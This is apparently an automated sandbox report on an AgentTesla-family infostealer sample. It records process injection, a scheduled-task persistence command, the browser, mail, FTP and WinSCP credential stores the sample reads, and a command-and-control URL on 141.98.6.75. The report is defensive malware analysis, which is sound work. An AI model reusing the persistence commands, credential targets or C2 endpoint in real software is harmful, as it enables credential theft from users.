Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 436000	Jump to behavior
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 438000	Jump to behavior
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 7BD008	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 402000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 436000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 438000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 5132008	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 400000 value starts with: 4D5A			Jump to behavior

Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Jump to behavior
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd" /c mkdir "C:\Users\user\AppData\Roaming\fghn	Jump to behavior
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd" /c schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\user\AppData\Roaming\fghn\fghn.exe'" /f	Jump to behavior
Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd" /c copy "C:\Users\user\Desktop\pdP5Rv9pPW.exe" "C:\Users\user\AppData\Roaming\fghn\fghn.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\user\AppData\Roaming\fghn\fghn.exe'" /f	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd" /c mkdir "C:\Users\user\AppData\Roaming\fghn	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd" /c schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\user\AppData\Roaming\fghn\fghn.exe'" /f	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd" /c copy "C:\Users\user\AppData\Roaming\fghn\fghn.exe" "C:\Users\user\AppData\Roaming\fghn\fghn.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\user\AppData\Roaming\fghn\fghn.exe'" /f	Jump to behavior

Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe	Queries volume information: C:\Users\user\Desktop\pdP5Rv9pPW.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fghn\fghn.exe	Queries volume information: C:\Users\user\AppData\Roaming\fghn\fghn.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\pdP5Rv9pPW.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Code function: 2_2_09EE4ECC GetUserNameW,

2_2_09EE4ECC

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 2.0.vbc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.pdP5Rv9pPW.exe.3996170.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.pdP5Rv9pPW.exe.39ca790.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.pdP5Rv9pPW.exe.39ca790.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.pdP5Rv9pPW.exe.3996170.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000000.363305097.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.380144248.0000000003991000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.537927671.0000000006AF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.585255160.000000000721C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: pdP5Rv9pPW.exe PID: 5704, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 5224, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 1608, type: MEMORYSTR

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\			Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini			Jump to behavior

Source: Yara match	File source: 00000002.00000002.537927671.0000000006AF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.585255160.000000000721C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 5224, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 1608, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 2.0.vbc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.pdP5Rv9pPW.exe.3996170.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.pdP5Rv9pPW.exe.39ca790.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.pdP5Rv9pPW.exe.39ca790.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.pdP5Rv9pPW.exe.3996170.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000000.363305097.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.380144248.0000000003991000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.537927671.0000000006AF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.585255160.000000000721C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: pdP5Rv9pPW.exe PID: 5704, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 5224, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 1608, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
1 Valid Accounts	211 Windows Management Instrumentation	1 Valid Accounts	1 Valid Accounts	1 Disable or Modify Tools	2 OS Credential Dumping	1 Account Discovery	Remote Services	11 Archive Collected Data	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	1 Shared Modules	1 Scheduled Task/Job	1 Access Token Manipulation	11 Deobfuscate/Decode Files or Information	11 Input Capture	114 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	Exfiltration Over Bluetooth	1 Non-Application Layer Protocol	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	1 Exploitation for Client Execution	1 Registry Run Keys / Startup Folder	311 Process Injection	21 Obfuscated Files or Information	1 Credentials in Registry	221 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	Automated Exfiltration	11 Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	1 Scheduled Task/Job	Logon Script (Mac)	1 Scheduled Task/Job	1 Software Packing	NTDS	1 Process Discovery	Distributed Component Object Model	11 Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	1 Registry Run Keys / Startup Folder	1 Masquerading	LSA Secrets	141 Virtualization/Sandbox Evasion	SSH	1 Clipboard Data	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 Valid Accounts	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	1 System Owner/User Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	141 Virtualization/Sandbox Evasion	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	311 Process Injection	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	1 Hidden Files and Directories	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
pdP5Rv9pPW.exe	66%	Virustotal		Browse
pdP5Rv9pPW.exe	51%	ReversingLabs	Win32.Trojan.Mardom
pdP5Rv9pPW.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\fghn\fghn.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\excel\excel.exe	2%	Metadefender		Browse
C:\Users\user\AppData\Roaming\excel\excel.exe	0%	ReversingLabs
C:\Users\user\AppData\Roaming\fghn\fghn.exe	51%	ReversingLabs	Win32.Trojan.Mardom

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
2.0.vbc.exe.400000.0.unpack	100%	Avira	TR/Spy.Gen8		Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://141.98.6.75	6%	Virustotal		Browse
http://141.98.6.75	0%	Avira URL Cloud	safe
http://141.98.6.75/weption/inc/0986372054b5f8.phpa	0%	Avira URL Cloud	safe
http://127.0.0.1:HTTP/1.1	0%	Avira URL Cloud	safe
http://141.98.6.75/weption/inc/0986372054b5f8.php	11%	Virustotal		Browse
http://141.98.6.75/weption/inc/0986372054b5f8.php	100%	Avira URL Cloud	phishing
https://api.ipify.org%appdata	0%	URL Reputation	safe
http://141.98.6.75/weption/inc/0986372054b5f8.phpa(	0%	Avira URL Cloud	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://www	0%	URL Reputation	safe
http://DynDns.comDynDNSnamejidpasswordPsi/Psi	0%	URL Reputation	safe
http://ZWXWPK.com	0%	Avira URL Cloud	safe
http://141.98.6.754	0%	Avira URL Cloud	safe
http://go.microsoft	0%	Avira URL Cloud	safe
http://X7rzdy8x3IrJP.net	0%	Avira URL Cloud	safe
https://api.ipify.org%	0%	URL Reputation	safe
http://141.98.6.75/weption/inc/0986372054b5f8.php127.0.0.1POST	0%	Avira URL Cloud	safe
https://di.98.6.75/weption/inc/0986372054b5f8.php	0%	Avira URL Cloud	safe

Name	Malicious	Antivirus Detection	Reputation
http://141.98.6.75/weption/inc/0986372054b5f8.php	true	11%, Virustotal, Browse Avira URL Cloud: phishing	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://141.98.6.75	vbc.exe, 00000002.00000002.541792222.0000000006E02000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000017.00000002.589800021.0000000007571000.00000004.00000800.00020000.00000000.sdmp	true	6%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://141.98.6.75/weption/inc/0986372054b5f8.phpa	vbc.exe, 00000017.00000002.583884404.000000000552A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://127.0.0.1:HTTP/1.1	vbc.exe, 00000002.00000002.537927671.0000000006AF1000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000017.00000002.585255160.000000000721C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://api.ipify.org%appdata	vbc.exe, 00000017.00000002.585255160.000000000721C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	low
http://141.98.6.75/weption/inc/0986372054b5f8.phpa(	vbc.exe, 00000017.00000002.583884404.000000000552A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://www	vbc.exe, 00000002.00000002.537927671.0000000006AF1000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000017.00000002.585255160.000000000721C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://DynDns.comDynDNSnamejidpasswordPsi/Psi	vbc.exe, 00000017.00000002.585255160.000000000721C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ZWXWPK.com	vbc.exe, 00000017.00000002.585255160.000000000721C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://141.98.6.754	vbc.exe, 00000002.00000002.541792222.0000000006E02000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000017.00000002.589800021.0000000007571000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	low
http://go.microsoft	excel.exe, 0000000C.00000002.397005792.00000000006FA000.00000004.00000010.00020000.00000000.sdmp, excel.exe, 00000010.00000002.413724237.00000000004FA000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	vbc.exe, 00000002.00000002.541792222.0000000006E02000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000017.00000002.589800021.0000000007571000.00000004.00000800.00020000.00000000.sdmp	false		high
http://X7rzdy8x3IrJP.net	vbc.exe, 00000017.00000002.590068919.00000000075B6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.ipify.org%	vbc.exe, 00000002.00000002.537927671.0000000006AF1000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000017.00000002.585255160.000000000721C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	low
http://141.98.6.75/weption/inc/0986372054b5f8.php127.0.0.1POST	vbc.exe, 00000017.00000002.585255160.000000000721C000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://di.98.6.75/weption/inc/0986372054b5f8.php	vbc.exe, 00000017.00000002.583884404.000000000552A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
141.98.6.75	unknown	Germany		33657	CMCSUS	true

General Information

Joe Sandbox Version:	35.0.0 Citrine
Analysis ID:	691823
Start date and time:	2022-08-28 17:18:06 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 19s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	pdP5Rv9pPW.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	36
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winEXE@32/7@0/1
EGA Information:	Successful, ratio: 100%
HDC Information:	Failed
HCA Information:	Successful, ratio: 97% Number of executed functions: 125 Number of non-executed functions: 2
Cookbook Comments:	Found application associated with file extension: .exe Adjust boot time Enable AMSI

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe
Excluded domains from analysis (whitelisted): ris.api.iris.microsoft.com, eudb.ris.api.iris.microsoft.com, ctldl.windowsupdate.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
17:19:31	API Interceptor	595x Sleep call for process: vbc.exe modified
17:19:31	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run excel C:\Users\user\AppData\Roaming\excel\excel.exe
17:19:32	Task Scheduler	Run new task: Nafifas path: "C:\Users\user\AppData\Roaming\fghn\fghn.exe"
17:19:40	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run excel C:\Users\user\AppData\Roaming\excel\excel.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
141.98.6.75	BL Document.exe	Get hash	malicious	Browse	141.98.6.75/500/inc/9bce52518beca5.php
	New Order15522.png.exe	Get hash	malicious	Browse	141.98.6.75/500/inc/9bce52518beca5.php
	PaymentAdvise.exe	Get hash	malicious	Browse	141.98.6.75/500/inc/9bce52518beca5.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
CMCSUS	1DCAB4CDFFDF269EA33719990AC81C515345B50FE1C60.exe	Get hash	malicious	Browse	95.214.24.96
	00C0934AF824603BEF01CE8A5D9FCBD0E97432C877D40.exe	Get hash	malicious	Browse	95.214.24.96
	Host Ip Js StartUp.exe	Get hash	malicious	Browse	171.22.30.21
	Quote_PDF.js	Get hash	malicious	Browse	171.22.30.21
	E52E6BBF7705F9B90E4A20F2935CB86EE6078035F14D8.exe	Get hash	malicious	Browse	95.214.24.96
	Request Quote_PDF.js	Get hash	malicious	Browse	171.22.30.21
	Purchase Order for Atmosphere Manufacturers 776778GH.exe	Get hash	malicious	Browse	171.22.30.205
	F06154D372FA1CD4D5E9C1D5956646C9B4DD80DAB46AB.exe	Get hash	malicious	Browse	95.214.24.96
	Priljevu_0080386732.xll	Get hash	malicious	Browse	171.22.30.72
	Payment Quote_PDF.js	Get hash	malicious	Browse	171.22.30.21
	Payment Quote_PDF.js	Get hash	malicious	Browse	171.22.30.21
	BL Document.exe	Get hash	malicious	Browse	141.98.6.75
	SecuriteInfo.com.Trojan.Win32.Wacatac.Bml.10071.exe	Get hash	malicious	Browse	171.22.30.205
	Payment_PDF.js	Get hash	malicious	Browse	171.22.30.21
	RLsp6WwSVA.exe	Get hash	malicious	Browse	95.214.24.180
	BjxrrngUY0.exe	Get hash	malicious	Browse	171.22.30.72
	http://172.245.120.8/pdfreader.exe	Get hash	malicious	Browse	171.22.30.72
	cBuu3xhLbb.docx	Get hash	malicious	Browse	171.22.30.211
	z3hir.x86	Get hash	malicious	Browse	216.45.216.152
	Payment_pdf.js	Get hash	malicious	Browse	171.22.30.21

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\AppData\Roaming\excel\excel.exe	SecuriteInfo.com.W32.AIDetectNet.01.9473.exe	Get hash	malicious	Browse
	SecuriteInfo.com.W32.AIDetectNet.01.10857.exe	Get hash	malicious	Browse
	SecuriteInfo.com.W32.AIDetectNet.01.20458.exe	Get hash	malicious	Browse
	Doc151.pif.exe	Get hash	malicious	Browse
	Doc0627.exe	Get hash	malicious	Browse
	SecuriteInfo.com.W32.AIDetectNet.01.1410.exe	Get hash	malicious	Browse
	Request For Quotation And Sample.pdf.exe	Get hash	malicious	Browse
	RFQ.exe	Get hash	malicious	Browse
	INVOICE.exe	Get hash	malicious	Browse
	SecuriteInfo.com.IL.Trojan.MSILZilla.13134.2490.exe	Get hash	malicious	Browse
	SecuriteInfo.com.W32.AIDetectNet.01.2799.exe	Get hash	malicious	Browse
	gqyMDfZZ4K.exe	Get hash	malicious	Browse
	Neves n 0rder.exe	Get hash	malicious	Browse
	products specification.exe	Get hash	malicious	Browse
	0JupZJZDCk.exe	Get hash	malicious	Browse
	TT COPY.exe	Get hash	malicious	Browse
	IAENMAIL-A4-220222-0830-0005036.pdf.exe	Get hash	malicious	Browse
	0000002065.pdf.exe	Get hash	malicious	Browse
	ldin.exe	Get hash	malicious	Browse
	2de5fe686b665d9aeb98b075fb139e33fffe278986a15.exe	Get hash	malicious	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\fghn.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\fghn\fghn.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	425
Entropy (8bit):	5.340009400190196
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPk21OKbbDLI4MWuPJKiUrRZ9I0ZKhav:ML9E4Ks2wKDE4KhK3VZ9pKhk
MD5:	CC144808DBAF00E03294347EADC8E779
SHA1:	A3434FC71BA82B7512C813840427C687ADDB5AEA
SHA-256:	3FC7B9771439E777A8F8B8579DD499F3EB90859AD30EFD8A765F341403FC7101
SHA-512:	A4F9EB98200BCAF388F89AABAF7EA57661473687265597B13192C24F06638C6339A3BD581DF4E002F26EE1BA09410F6A2BBDB4DA0CD40B59D63A09BAA1AADD3D
Malicious:	false
